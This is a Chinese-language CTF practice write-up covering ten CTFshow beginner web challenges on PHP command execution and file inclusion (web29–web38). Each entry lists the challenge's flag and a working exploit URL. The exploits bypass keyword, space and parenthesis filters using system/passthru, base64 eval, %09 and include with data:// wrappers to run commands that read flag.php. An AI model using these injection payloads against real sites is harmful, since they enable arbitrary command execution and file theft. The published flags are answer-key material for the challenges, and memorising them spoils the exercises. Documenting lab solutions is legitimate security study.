CTF-ctfshow_Web入门_命令执行1
题目来源:CTFshow
练习时间:2026年2月4日
练习数量:10
⭐️ 01 web29
🚩flag:ctfshow{9bcc229d-a475-4c4a-a635-def2043c1af1}
💡hint:命令执行
🔧tool:dirsearch
题目:
|
PHP 代码执行题目,需要绕过过滤读取 flag。
首先要知道目录下有什么文件,可以传入c=passthru(“ls”);或c=system(“ls”); ?c=system(“ls -la”);
或者使用通用工具dirsearch:
dirsearch获取和使用方式
因此是需要访问flag.php文件
绕过过滤的方法:
方法1:使用通配符
?c=system("cat f*"); |
方法2:使用命令替换
?c=system("cat f""lag"); |
方法3:使用 base64
?c=eval(base64_decode("c3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=")); |
方法4:使用 include(如果flag是PHP文件)
?c=include("fl"."ag.php"); |
方法5:通过变量传递
?c=$a="fla";$b="g";system("cat $a$b"); |
方法6:使用反引号执行命令
?c=echo `cat f*`; |
Exp:
https://c5ce659a-6bce-4f52-8d22-6f0008e377ae.challenge.ctf.show/?c=system("tac%20fla*"); |
得到flag:
⭐️ 02 web30
🚩flag:ctfshow{28d0d833-a082-49b5-90a5-8574c8681bc6}
💡hint:命令执行
题目信息:
|
过滤了flag、system、php
过滤了命令执行函数system,还可以用passthur()
Exp:
https://edb4d14f-431c-4858-828e-65b8c241fdcb.challenge.ctf.show/?c=passthru("tac%20fla*"); |
⭐️ 03 web31
🚩flag:ctfshow{28d0d833-a082-49b5-90a5-8574c8681bc6}
💡hint:命令执行
题目信息:
|
更严格的过滤。flag|system|php|cat|sort|shell还有空格
还是可以用passthru。空格可以使用%09代替。cat可以用tac代替。
Exp:
https://91b62710-1f62-445b-b6e4-bf0e24abaa1c.challenge.ctf.show/?c=passthru("tac%09fla*"); |
⭐️ 04 web32
🚩flag:ctfshow{d19d26f9-022c-466d-a094-b1f68068d3dc}
💡hint:命令执行
题目:
|
Exp:
?c=include$_GET[1]&1=data://text/plain,<?php system("tac flag.php")?> |
过滤规则禁用了括号(),但PHP在某些情况下允许省略函数调用的括号
include$_GET[1]等价于 include($_GET[1])
这是PHP的语言特性:某些控制结构和函数可以省略括号
?>结束PHP代码段
这样可以保证语法正确,避免解析错误
GET参数传递:
通过$_GET[1]参数传递要包含的内容
1=对应$_GET[1],值为后面的data://协议内容
data://- PHP支持的伪协议,可以直接在URI中包含数据
text/plain- 指定数据类型为纯文本
- 实际的PHP代码
⭐️ 05 web33
🚩flag:ctfshow{bccb4b7a-2b54-4397-89fa-0747f997fdea}
💡hint:命令执行
题目:
|
同样可以用上题的exp
?c=include$_GET[1]&1=data://text/plain,<?php system("tac flag.php")?> |
⭐️ 06 web34
🚩flag:ctfshow{d3d4e5d9-6a28-44d3-b030-5718d2c602eb}
💡hint:命令执行
题目:
|
同样可以用上题的exp:
?c=include$_GET[1]&1=data://text/plain,<?php system("tac flag.php")?> |
⭐ 07 web35
🚩flag:ctfshow{909c0544-f55d-4c38-94e6-db16f26d4de5}
💡hint:命令执行
同样可以用上题的exp:
?c=include$_GET[1]&1=data://text/plain,<?php system("tac flag.php")?> |
⭐️ 08 web36
🚩flag:ctfshow{ecb2d3b1-2377-4716-b779-457aa8b09ce3}
💡hint:命令执行
这次把数字也过滤了
|
把1换成a即可。
?c=include$_GET[a]&a=data://text/plain,<?php system("tac flag.php")?> |
⭐ 09 web37
🚩flag:ctfshow{5d7cf4ad-c66e-4ea2-8652-54aac73a6fcc}
💡hint:文件包含
|
相比于web29,是从eval($c);变成了include($c);
echo $flag;
eval($c)→ include($c) - 从代码执行变为文件包含
可以用
?c=data://text/plain,<?php system("tac fla*.php")?> |
⭐ 10 web38
🚩flag:ctfshow{7b18bb00-5db5-4ce3-94c2-0c9f691d0ef5}
💡hint:文件包含
限制flag php file
同上
`?c=data://text/plain,<?=system("tac fla*")?>` |
没有php,就用简化版的
今天先做这么多啦🎵~
